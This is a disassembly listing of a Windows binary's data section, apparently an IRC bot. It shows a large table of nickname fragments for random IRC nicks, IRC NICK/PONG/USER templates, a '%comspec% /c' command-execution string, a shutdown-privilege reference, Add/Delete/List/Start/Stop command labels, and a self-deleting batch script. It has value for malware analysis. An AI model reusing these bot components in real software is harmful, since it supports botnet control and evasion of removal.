		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439244
		dd offset off_439240
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4390AC
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438C90	dd offset aSex_0	; DATA XREF: sub_414BB2+41r
					; sub_414BB2+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck_0	; "|suck|"
		dd offset aLuck_0	; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_1	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick_0	; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB		; "b"
		dd offset aC_0		; "c"
		dd offset aD_0		; "d"
		dd offset aE		; "e"
		dd offset aF_1		; "f"
		dd offset aG		; "g"
		dd offset asc_4279D8	; "h"
		dd offset aI_1		; "i"
		dd offset dword_42DD54
		dd offset aJ_0		; "j"
		dd offset aK_0		; "k"
		dd offset asc_427948	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU_0		; "u"
		dd offset aV		; "v"
		dd offset aW_0		; "w"
		dd offset asc_42BB94	; "x"
		dd offset aY		; "y"
		dd offset aZ		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ		; "z"
		dd offset aG		; "g"
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_438ED4
		dd offset aBbl		; "|bbl"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset a___0		; "_|_"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset aF_3		; "F"
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset aB		; "b"
		dd offset byte_43B9B8
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset asc_4394AC	; "X"
		dd offset byte_43B9B8
		dd offset aBoy		; "BOY"
		dd offset aGirl_1	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438E5C
		dd offset aLol		; "lol"
		dd offset dword_438E54
		dd offset dword_438E48
		dd offset dword_438E40
		dd offset dword_438E38
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
dword_438E28	dd 7536h		; DATA XREF: .nsp0:00438E24o
dword_438E2C	dd 7535h		; DATA XREF: .nsp0:00438E20o
dword_438E30	dd 7C75347Ch, 0		; DATA XREF: .nsp0:00438E1Co
dword_438E38	dd 6F79347Bh, 7D75h	; DATA XREF: .nsp0:00438E18o
dword_438E40	dd 7375347Ch, 7Ch	; DATA XREF: .nsp0:00438E14o
dword_438E48	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: .nsp0:00438E10o
dword_438E54	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: .nsp0:00438E0Co
dword_438E5C	dd 746F74h		; DATA XREF: .nsp0:00438E04o
aMofo		db 'mofo',0             ; DATA XREF: .nsp0:00438E00o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .nsp0:00438DFCo
		align 10h
aMuha		db 'muha',0             ; DATA XREF: .nsp0:00438DF8o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .nsp0:00438DF4o
		align 10h
aAha		db 'aha',0              ; DATA XREF: .nsp0:00438DF0o
aGurl		db 'gurl',0             ; DATA XREF: .nsp0:00438DE8o
		align 4
aGirl_1		db 'GIRL',0             ; DATA XREF: .nsp0:00438DE4o
		align 4
aBoy		db 'BOY',0              ; DATA XREF: .nsp0:00438DE0o
aFree_0		db 'Free',0             ; DATA XREF: .nsp0:00438DCCo
		align 10h
aFuck_0		db 'Fuck',0             ; DATA XREF: .nsp0:00438DC8o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .nsp0:00438DBCo
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: .nsp0:00438DB0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: .nsp0:00438DACo
aLuvu		db 'LUVU',0             ; DATA XREF: .nsp0:00438DA8o
		align 4
a___0		db '_|_',0              ; DATA XREF: .nsp0:00438D8Co
aBbl		db '|bbl',0             ; DATA XREF: .nsp0:00438D80o
		align 4
off_438ED4	dd offset off_425240+2	; DATA XREF: .nsp0:00438D7Co
aMuckc		db 'muckc',0            ; DATA XREF: .nsp0:00438D68o
		align 10h
aTruck		db 'truck',0            ; DATA XREF: .nsp0:00438D64o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .nsp0:00438D60o
		align 10h
aLuvy		db 'luvy',0             ; DATA XREF: .nsp0:00438D5Co
		align 4
aUi		db 'ui',0               ; DATA XREF: .nsp0:00438D58o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: .nsp0:00438D54o
aRt		db 'rt',0               ; DATA XREF: .nsp0:00438D50o
		align 4
aGf		db 'gf',0               ; DATA XREF: .nsp0:00438D4Co
		align 4
aTy		db 'ty',0               ; DATA XREF: .nsp0:00438D48o
		align 4
aRg		db 'rg',0               ; DATA XREF: .nsp0:00438D44o
		align 10h
aHappy		db 'happy',0            ; DATA XREF: .nsp0:00438D40o
		align 4
aRs		db 'rs',0               ; DATA XREF: .nsp0:00438D20o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: .nsp0:00438CD8o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .nsp0:00438CD4o
		align 4
aSick_0		db 'sick}}',0           ; DATA XREF: .nsp0:00438CD0o
		align 10h
aWiked		db '|wiked|',0          ; DATA XREF: .nsp0:00438CCCo
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .nsp0:00438CC8o
		align 4
aGens		db '{gens|',0           ; DATA XREF: .nsp0:00438CC4o
		align 4
aSex_1		db '{sex}',0            ; DATA XREF: .nsp0:00438CC0o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .nsp0:00438CBCo
		align 4
aLuck_0		db '|luck|',0           ; DATA XREF: .nsp0:00438CB8o
		align 4
aSuck_0		db '|suck|',0           ; DATA XREF: .nsp0:00438CB4o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: .nsp0:00438CB0o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: .nsp0:00438CACo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: .nsp0:00438CA8o
aLag		db 'lag',0              ; DATA XREF: .nsp0:00438CA4o
aBad		db 'bad',0              ; DATA XREF: .nsp0:00438CA0o
aZex		db 'zex',0              ; DATA XREF: .nsp0:00438C98o
aLez		db 'lez',0              ; DATA XREF: .nsp0:00438C94o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .nsp0:00438C8Co
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: .nsp0:00438C88o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .nsp0:00438C84o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .nsp0:00438C80o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: .nsp0:00438C7Co
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .nsp0:00438C78o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .nsp0:00438C74o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .nsp0:00438C70o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: .nsp0:00438C6Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .nsp0:00438C68o
aTropikal	db 'tropikal',0         ; DATA XREF: .nsp0:00438C64o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .nsp0:00438C60o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .nsp0:00438C5Co
		align 10h
aUla		db 'ula',0              ; DATA XREF: .nsp0:00438C58o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .nsp0:00438C54o
aAkden		db 'akden',0            ; DATA XREF: .nsp0:00438C50o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .nsp0:00438C4Co
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: .nsp0:00438C48o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: .nsp0:00438C44o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .nsp0:00438C40o
aM41ist		db 'M41IST',0           ; DATA XREF: .nsp0:00438C3Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .nsp0:00438C38o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .nsp0:00438C34o
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: .nsp0:00438C30o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .nsp0:00438C2Co
		align 10h
aDevre		db 'devre',0            ; DATA XREF: .nsp0:00438C28o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .nsp0:00438C24o
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: .nsp0:00438C20o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .nsp0:00438C1Co
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: .nsp0:00438C18o
		align 4
off_4390AC	dd offset byte_4B5245	; DATA XREF: .nsp0:00438C14o
aSevda		db 'sevda',0            ; DATA XREF: .nsp0:00438C10o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .nsp0:00438C0Co
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: .nsp0:00438C08o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .nsp0:00438C04o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .nsp0:00438C00o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .nsp0:00438BFCo
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .nsp0:00438BF8o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .nsp0:00438BF4o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: .nsp0:00438BF0o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .nsp0:00438BECo
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .nsp0:00438BE8o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .nsp0:00438BE4o
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: .nsp0:00438BE0o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .nsp0:00438BDCo
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: .nsp0:00438BD8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .nsp0:00438BD4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .nsp0:00438BD0o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: .nsp0:00438BCCo
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .nsp0:00438BC8o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .nsp0:00438BC4o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .nsp0:00438BC0o
aHoly		db 'holy',0             ; DATA XREF: .nsp0:00438BBCo
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: .nsp0:00438BB8o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .nsp0:00438BB4o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .nsp0:00438BB0o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .nsp0:00438BACo
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .nsp0:00438BA8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .nsp0:00438BA4o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .nsp0:00438BA0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .nsp0:00438B9Co
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: .nsp0:00438B98o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .nsp0:00438B94o
aArda		db 'arda',0             ; DATA XREF: .nsp0:00438B90o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: .nsp0:00438B8Co
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .nsp0:00438B88o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .nsp0:00438B84o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .nsp0:00438B80o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .nsp0:00438B7Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .nsp0:00438B78o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .nsp0:00438B74o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .nsp0:00438B70o
		align 10h
off_439240	dd offset byte_457441	; DATA XREF: .nsp0:00438B6Co
dword_439244	dd 414C5941h, 2Dh	; DATA XREF: .nsp0:00438B68o
aAlbina		db 'albina',0           ; DATA XREF: .nsp0:00438B64o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .nsp0:00438B60o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: .nsp0:00438B5Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .nsp0:00438B58o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: .nsp0:00438B54o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .nsp0:00438B50o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: .nsp0:00438B4Co
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .nsp0:00438B48o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .nsp0:00438B44o
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .nsp0:00438B40o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .nsp0:00438B3Co
aAslii		db 'aslii',0            ; DATA XREF: .nsp0:00438B38o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .nsp0:00438B34o
aHaticem	db 'haticem',0          ; DATA XREF: .nsp0:00438B30o
aArzu		db 'ARZU',0             ; DATA XREF: .nsp0:00438B2Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .nsp0:00438B28o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .nsp0:00438B24o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .nsp0:00438B20o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .nsp0:00438B1Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .nsp0:00438B18o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .nsp0:00438B14o
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: .nsp0:00438B10o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .nsp0:00438B0Co
		align 10h
aMary_0		db 'MARY',0             ; DATA XREF: .nsp0:00438B08o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .nsp0:00438B04o
aTolga34	db 'Tolga34',0          ; DATA XREF: .nsp0:00438B00o
aMisssunday	db 'misssunday',0       ; DATA XREF: .nsp0:00438AFCo
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .nsp0:00438AF8o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .nsp0:00438AF4o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .nsp0:00438AF0o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: .nsp0:00438AECo
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .nsp0:00438AE8o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .nsp0:00438AE4o
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .nsp0:00438AE0o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .nsp0:00438ADCo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .nsp0:00438AD8o
aReshma		db 'reshma',0           ; DATA XREF: .nsp0:00438AD4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .nsp0:00438AD0o
		align 10h
aGirl_0		db 'GirL',0             ; DATA XREF: .nsp0:00438ACCo
		align 4
aImra		db 'imra',0             ; DATA XREF: .nsp0:00438AC8o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: .nsp0:00438AC4o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .nsp0:00438AC0o
		align 4
aManee		db 'manee',0            ; DATA XREF: .nsp0:00438AB8o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: .nsp0:00438AB4o
aLuisa		db 'Luisa',0            ; DATA XREF: .nsp0:00438AB0o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: .nsp0:00438AACo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .nsp0:00438AA8o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .nsp0:00438AA4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .nsp0:00438AA0o
		align 4
aHeval		db 'heval',0            ; DATA XREF: .nsp0:00438A9Co
		align 4
aCme		db 'cme',0              ; DATA XREF: .nsp0:00438A98o
aTalika		db 'talika',0           ; DATA XREF: .nsp0:00438A90o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .nsp0:00438A8Co
		align 10h
aKen		db 'ken',0              ; DATA XREF: .nsp0:00438A88o
aFlexster	db 'flexster',0         ; DATA XREF: .nsp0:00438A84o
		align 10h
aKoko		db 'koko',0             ; DATA XREF: .nsp0:00438A80o
		align 4
aMale		db 'male',0             ; DATA XREF: .nsp0:00438A7Co
		align 10h
aSwin		db 'swin',0             ; DATA XREF: .nsp0:00438A78o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .nsp0:00438A74o
aKrizha		db 'KRIZHA',0           ; DATA XREF: .nsp0:00438A70o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .nsp0:00438A6Co
		align 10h
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .nsp0:00438A68o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .nsp0:00438A64o
aFarooq		db 'farooq',0           ; DATA XREF: .nsp0:00438A60o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .nsp0:00438A5Co
		align 4
aM_1:					; DATA XREF: .nsp0:00438A58o
					; .nsp0:00438DA4o
		unicode	0, <M>,0
aN_0:					; DATA XREF: .nsp0:00438A54o
		unicode	0, <N>,0
aB_0:					; DATA XREF: .nsp0:00438A50o
		unicode	0, <B>,0
aV_0:					; DATA XREF: .nsp0:00438A4Co
		unicode	0, <V>,0
aC_1:					; DATA XREF: .nsp0:00438A48o
		unicode	0, <C>,0
asc_4394AC:				; DATA XREF: .nsp0:00438A44o
					; .nsp0:00438DD8o
		unicode	0, <X>,0
aZ_0:					; DATA XREF: .nsp0:00438A40o
		unicode	0, <Z>,0
asc_4394B4:				; DATA XREF: .nsp0:00438A3Co
		unicode	0, <L>,0
aK_1:					; DATA XREF: .nsp0:00438A38o
		unicode	0, <K>,0
aJ_1:					; DATA XREF: .nsp0:00438A34o
		unicode	0, <J>,0
asc_4394C0:				; DATA XREF: .nsp0:00438A30o
		unicode	0, <H>,0
aG_0:					; DATA XREF: .nsp0:00438A2Co
		unicode	0, <G>,0
aF_3:					; DATA XREF: .nsp0:00438A28o
					; .nsp0:00438DA0o
		unicode	0, <F>,0
aD_3:					; DATA XREF: .nsp0:00438A24o
		unicode	0, <D>,0
aS_3:					; DATA XREF: .nsp0:00438A20o
		unicode	0, <S>,0
aP_0:					; DATA XREF: .nsp0:00438A18o
		unicode	0, <P>,0
aO_0:					; DATA XREF: .nsp0:00438A14o
		unicode	0, <O>,0
aU_1:					; DATA XREF: .nsp0:00438A0Co
		unicode	0, <U>,0
aY_0:					; DATA XREF: .nsp0:00438A08o
		unicode	0, <Y>,0
aT_0:					; DATA XREF: .nsp0:00438A04o
		unicode	0, <T>,0
aR_0:					; DATA XREF: .nsp0:00438A00o
		unicode	0, <R>,0
aE_0:					; DATA XREF: .nsp0:004389FCo
		unicode	0, <E>,0
aW_1:					; DATA XREF: .nsp0:004389F8o
		unicode	0, <W>,0
aQ_0:					; DATA XREF: .nsp0:004389F4o
		unicode	0, <Q>,0
aNickS_0	db 'NICK %s',0Ah,0      ; DATA XREF: sub_41489B+C3o
		align 4
a432		db '432',0              ; DATA XREF: sub_41489B+88o
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_41489B+67o
		align 4
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_414992+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_414BB2+BCo
					; sub_414BB2+175r ...
		align 10h
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_415221+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_415368+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41540C+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41542E+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41542E+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41542E+48o
		align 10h
unk_439680	db  2Dh	; -		; DATA XREF: sub_4155B6+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_4396B0	db  2Dh	; -		; DATA XREF: sub_4155B6+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4396D8	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4155B6+5Co
		dd 65726165h, 64h, 0
off_4396F8	dd offset aAdd		; DATA XREF: sub_415796+6Dr
					; sub_415B7A+50r ...
					; "Add"
off_4396FC	dd offset aAdded	; DATA XREF: sub_415796+2Dr
					; sub_415B7A+82r ...
					; "Added"
dword_439700	dd 0			; DATA XREF: sub_415796+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43976Ch, 439764h,	2, 439758h, 43974Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
